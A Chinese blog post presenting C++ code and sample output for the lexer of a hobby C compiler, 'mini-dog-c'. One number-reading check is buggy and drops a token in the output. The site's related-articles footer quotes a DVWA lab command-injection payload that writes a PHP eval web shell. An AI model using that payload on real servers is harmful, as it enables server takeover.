mini-dog-c编译器之词法分析

mini-dog-c 是一个小型的 C 语言编译器,是我学习和理解编译器基本工作原理的实践项目。其词法分析器能够识别 C 语言的基本语法元素,包括常见的标识符、整数和浮点数字面量、布尔字面量以及字符串字面量。此外,它还支持基本的算术和逻辑操作符、比较操作符以及多种分隔符。在关键词方面,mini-dog-c 支持函数定义、变量声明、条件语句和返回语句等基本控制结构。

本项目基于monkey-cpp开发。

mini-dog-c 支持以下语法特性:

标识符和字面量

  • 标识符:由字母、数字和下划线组成,但不能以数字开头(kIdent
  • 字符字面量:支持单引号包围的字符(kChar
  • 布尔字面量:支持 truefalsekBool
  • 整数字面量:支持十进制整数(kInt
  • 浮点数字面量:支持包含小数点的数字(kDouble
  • 字符串字面量:支持双引号包围的字符串(kString

操作符

  • 赋值操作符=
  • 算术操作符+(加)、-(减)、*(乘)、/(除)
  • 逻辑操作符!(逻辑非)、==(等于)、!=(不等于)
  • 比较操作符<(小于)、>(大于)

分隔符

  • 逗号,(用于分隔参数或列表)
  • 分号;(用于语句结束)
  • 冒号:(可能用于标签或类型标注)
  • 圆括号()(用于函数调用或分组)
  • 花括号{}(用于代码块或结构体定义)
  • 方括号[](用于数组或索引)

关键词

  • 函数定义fn(用于定义函数)
  • 变量声明let(用于声明变量)
  • 条件语句if(用于条件判断)、else(用于条件分支)
  • 返回语句return(用于从函数返回值)

token.hpp

#pragma once#include <string>
#include <unordered_map>enum class TokenType {kIllegal,kEOF,// 标识符 + 字面量kIdent,kChar,kBool,kInt,kDouble,kString,// 操作符kAssign,		// =kPlus,			// +kMinus,			// -kBang,			// !kAsterisk,		// *kSlash,			// /kLT,			// <kGT,			// >kEQ,			// ==kNE,			// !=// 分隔符kComma,			// ,kSemicolon,		// ;kColon,			// :kLParen,		// (kRParen,		// )kLBrace,		// {kRBrace,		// }kLBracket,		// [kRBracket,		// ]// 关键词kFunction,		// fnkLet,			// letkIf,			// ifkElse,			// elsekReturn			// return
};TokenType LookupIdent(std::string ident) {static std::unordered_map<std::string, TokenType> keywords = {{"fn", TokenType::kFunction},{"let", TokenType::kLet},{"if", TokenType::kIf},{"return", TokenType::kReturn},{"else", TokenType::kElse},{"true", TokenType::kBool},{"false", TokenType::kBool}};auto it = keywords.find(ident);if (it != keywords.end())return it->second;elsereturn TokenType::kIdent;
}struct Token {Token() {type = TokenType::kIllegal;}Token(TokenType type, std::string literal) {this->type = type;this->literal = literal;}TokenType type;std::string literal;
};

lexer.hpp

#pragma once#include <string>
#include "token.hpp"class Lexer {
public:Lexer(const std::string input): input_(input), pos_(0), next_pos_(0), ch_(' ') {}void SkipWhitespace() {while (ch_ == ' ' || ch_ == '\t' || ch_ == '\n' || ch_ == '\r')ReadChar();}void ReadChar() {ch_ = next_pos_ >= input_.size() ? 0 : input_[next_pos_];pos_ = next_pos_++;}char PeekChar() {return next_pos_ >= input_.size() ? 0 : input_[next_pos_];}std::string ReadIdentifier() {size_t old_pos = pos_;while (std::isalpha(ch_) || std::isdigit(ch_) || ch_ == '_')ReadChar();return input_.substr(old_pos, pos_ - old_pos);}std::string ReadString() {size_t old_pos = pos_ + 1;while (true) {ReadChar();if (ch_ == '"' || ch_ == 0)break;}return input_.substr(old_pos, pos_ - old_pos);}std::string ReadNumber() {size_t old_pos_ = pos_;if (old_pos_ == '.') {while (std::isdigit(ch_))ReadChar();}else {int dot_count = 0;while (std::isdigit(ch_) || (ch_ == '.' && (dot_count++) == 0))ReadChar();}return input_.substr(old_pos_, pos_ - old_pos_);}Token NextToken(){SkipWhitespace();Token tok;switch (ch_) {case '=':{if (PeekChar() == '=') {ReadChar();std::string literal("==");tok.type = TokenType::kEQ;tok.literal = literal;} else {tok = Token(TokenType::kAssign, std::string(1, ch_));}break;}case '+':{tok = Token(TokenType::kPlus, std::string(1, ch_));break;}case '-':{tok = Token(TokenType::kMinus, std::string(1, ch_));break;}case '!':{if (PeekChar() == '='){ReadChar();tok.type = TokenType::kNE;tok.literal = "!=";}else{tok = Token(TokenType::kBang, std::string(1, ch_));}break;}case '/':tok = Token(TokenType::kSlash, std::string(1, ch_));break;case '*':tok = Token(TokenType::kAsterisk, std::string(1, ch_));break;case '<':tok = Token(TokenType::kLT, std::string(1, ch_));break;case '>':tok = Token(TokenType::kGT, std::string(1, ch_));break;case ';':tok = Token(TokenType::kSemicolon, std::string(1, ch_));break;case ',':tok = Token(TokenType::kComma, std::string(1, ch_));break;case '{':tok = Token(TokenType::kLBrace, std::string(1, ch_));break;case '}':tok = Token(TokenType::kRBrace, std::string(1, ch_));break;case '(':tok = Token(TokenType::kLParen, std::string(1, ch_));break;case ')':tok = Token(TokenType::kRParen, std::string(1, ch_));break;case '[':tok = Token(TokenType::kLBracket, std::string(1, ch_));break;case ']':tok = Token(TokenType::kRBracket, std::string(1, ch_));break;case ':':tok = Token(TokenType::kColon, std::string(1, ch_));break;case '"':{tok.type = TokenType::kString;tok.literal = ReadString();break;}case '.':{tok.type = TokenType::kDouble;tok.literal = ReadNumber();break;}case 0:{tok.literal = "";tok.type = TokenType::kEOF;break;}default:{if (std::isalpha(ch_) || ch_ == '_'){tok.literal = ReadIdentifier();tok.type = LookupIdent(tok.literal);return tok;}else if (std::isdigit(ch_)){tok.literal = ReadNumber();tok.type = tok.literal.find('.') == std::string::npos ? TokenType::kInt : TokenType::kDouble;return tok;}else{tok = Token(TokenType::kIllegal, std::string(1, ch_));}}}ReadChar();return tok;}private:std::string input_;		// 源码size_t pos_;			// 当前位置size_t next_pos_;		// 下一位置char ch_;				// 当前字符
};

main.cpp

#include "lexer.hpp"
#include <iostream>int main(int argc, char** argv) {std::string input = R"(
int add(int a, int b) {return a + b;
}double add(double a, double b) {return a + b;
}int main() {int a = 100;int b = 200;println(add(a, b));double c1 = 123.;double _d1 = .456;println(add(c1, _d1));println("Hello, world!\nThis is mini-dog-c.");return 0;
}
)";Lexer lexer(input);while (true) {auto token = lexer.NextToken();if(token.type == TokenType::kEOF)break;std::cout << token.literal << std::endl;}return 0;
}

运行结果:

int
add
(
int
a
,
int
b
)
{
return
a
+
b
;
}
double
add
(
double
a
,
double
b
)
{
return
a
+
b
;
}
int
main
(
)
{
int
a
=
100
;
int
b
=
200
;
println
(
add
(
a
,
b
)
)
;
double
c1
=
123.
;
double
_d1
=
.456
println
(
add
(
c1
,
_d1
)
)
;
println
(
Hello, world!\nThis is mini-dog-c.
)
;
return
0
;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/66227.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习基础-概率图模型

&#xff08;一阶&#xff09;马尔科夫模型的基本概念 状态、状态转换概率、初始概率 状态转移矩阵的基本概念 隐马尔可夫模型&#xff08;HMM&#xff09;的基本概念 条件随机场&#xff08;CRF&#xff09;的基本概念 实际应用中的马尔科夫性 自然语言处理&#xff1a; 在词…

力扣hot100——链表

160. 相交链表 class Solution { public:ListNode *getIntersectionNode(ListNode *headA, ListNode *headB) {set<ListNode*> s;ListNode* h headA;while (h ! NULL) {s.insert(h);h h->next;}h headB;while (h ! NULL){if (s.find(h) ! s.end()) {return h;}h …

Qt打包为exe文件

个人学习笔记 选择release 进入项目文件夹&#xff0c;查看releas生成的文件 releas文件路径 进入release看到exe文件&#xff0c;但是无法执行 将exe文件单独放到一个文件夹内 选择MinGW 用CD 进入存放exe文件的路径&#xff0c;输入下面指令 cd J:\C\Qt\test4-3-1 windeploy…

VScode怎么重启

原文链接&#xff1a;【vscode】vscode重新启动 键盘按下 Ctrl Shift p 打开命令行&#xff0c;如下图&#xff1a; 输入Reload Window&#xff0c;如下图&#xff1a;

小屏幕下通过css自动实现上下位置颠倒例子

<!DOCTYPE html> <html><head><meta charset"utf-8"><meta name"viewport" content"widthdevice-width, initial-scale1"><title>Demo</title><!-- 请勿在项目正式环境中引用该 layui.css 地址 --…

下列指标组合中,不能用于系统性评价缺陷识别模型精度的指标

19 下列指标组合中&#xff0c;不能用于系统性评价缺陷识别模型精度的指标为&#xff1a; A 检出率和准确率 B 检出率和误报比 C 平均精确率 D 准确率和误报比 对于评价一个缺陷识别模型的精度&#xff0c;检出率、准确率、检出率和误报比等指标常被用来系统性地评估模型的效…

Web安全 - “Referrer Policy“ Security 头值不安全

文章目录 概述原因分析风险说明Referrer-Policy 头配置选项1. 不安全的策略no-referrer-when-downgradeunsafe-url 2. 安全的策略no-referreroriginorigin-when-cross-originsame-originstrict-originstrict-origin-when-cross-origin 推荐配置Nginx 配置示例 在 Nginx 中配置 …

spring mvc源码学习笔记之六

pom.xml 内容如下 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/P…

Hyperbolic dynamics

http://www.scholarpedia.org/article/Hyperbolic_dynamics#:~:textAmong%20smooth%20dynamical%20systems%2C%20hyperbolic%20dynamics%20is%20characterized,semilocal%20or%20even%20global%20information%20about%20the%20dynamics. 什么是双曲动力系统&#xff1f; A hy…

vue3组件化开发优势劣势分析,及一个案例

Vue 3 组件化开发的优势和劣势 优势 可复用性&#xff1a; 组件可以重复使用&#xff0c;减少代码冗余&#xff0c;提高开发效率。 可以在不同的项目中复用组件&#xff0c;提升开发速度。 可维护性&#xff1a; 组件化开发使得代码结构清晰&#xff0c;易于维护。 每个…

基于SpringBoot在线竞拍平台系统功能实现十五

一、前言介绍&#xff1a; 1.1 项目摘要 随着网络技术的飞速发展和电子商务的普及&#xff0c;竞拍系统作为一种新型的在线交易方式&#xff0c;已经逐渐深入到人们的日常生活中。传统的拍卖活动需要耗费大量的人力、物力和时间&#xff0c;从组织拍卖、宣传、报名、竞拍到成…

Tomcat性能优化与负载均衡实现

在现代互联网应用中&#xff0c;Apache Tomcat作为一个广泛使用的Java Web应用服务器&#xff0c;扮演着至关重要的角色。随着用户数量的不断增加和业务的不断扩展&#xff0c;如何提升Tomcat的性能和实现高可用性成为了开发者们关注的焦点。本文将介绍Tomcat的性能优化技巧以及…

Ubuntu 搭建SVN服务

目录 ​ 1、安装SVN服务端 2、创建SVN版本库 3、修改SVN配置svnserve.conf 3.1 配置文件介绍 3.2 svnserve.conf配置 3.3 authz配置设置用户读写权限 3.4 passwd配置 用户名密码 4、启动SVN服务 4.1 配置开机启动 1、安装SVN服务端 sudo apt-get install subversion…

DataV数据可视化

阿里云 DataV 是一个强大的数据可视化工具&#xff0c;可以帮助用户通过创建丰富的图表、仪表盘、地图和互动视图&#xff0c;将复杂的数据转化为易于理解和分析的可视化信息。DataV主要用于大数据和实时数据的展示&#xff0c;可以帮助企业和个人更直观地理解数据背后的含义&a…

电子电气架构 --- 整车整车网络管理浅析

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 所谓鸡汤,要么蛊惑你认命,要么怂恿你拼命,但都是回避问题的根源,以现象替代逻辑,以情绪代替思考,把消极接受现实的懦弱,伪装成乐观面对不幸的…

基于 Python 大数据的购物车智能推荐与分析系统

标题:基于 Python 大数据的购物车智能推荐与分析系统 内容:1.摘要 随着电子商务的快速发展&#xff0c;购物车智能推荐与分析系统成为了提高用户购物体验和促进销售的重要手段。本系统基于 Python 大数据技术&#xff0c;通过对用户购物行为数据的分析&#xff0c;为用户提供个…

neo4j学习笔记

图数据库 图数据库是基于图论实现的一种NoSQL数据库&#xff0c;其数据存储结构和数据查询方式都是图论为基础的&#xff0c;图数据库主要用于存储更多的连接数据。 图论&#xff08;GraphTheory&#xff09;是数学的一个分支。图论以图为研究对象&#xff0c;图论的图是由若干…

REMARK-LLM:用于生成大型语言模型的稳健且高效的水印框架

REMARK-LLM:用于生成大型语言模型的稳健且高效的水印框架 前言 提出这一模型的初衷为了应对大量计算资源和数据集出现伴随的知识产权问题。使用LLM合成类似人类的内容容易受到恶意利用,包括垃圾邮件和抄袭。 ChatGPT等大语言模型LLM的开发取得的进展标志着人机对话交互的范式…

面试题解,Java中的“对象”剖析

一、说一说JVM中对象的内存布局&#xff1f;new一个对象到底占多大内存&#xff1f; 话不多说&#xff0c;看下图&#xff0c;对象的内存布局图 一个对象的内存布局主要由三部分组成&#xff1a;对象头&#xff08;Object Header&#xff09;、实例数据&#xff08;Instance D…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析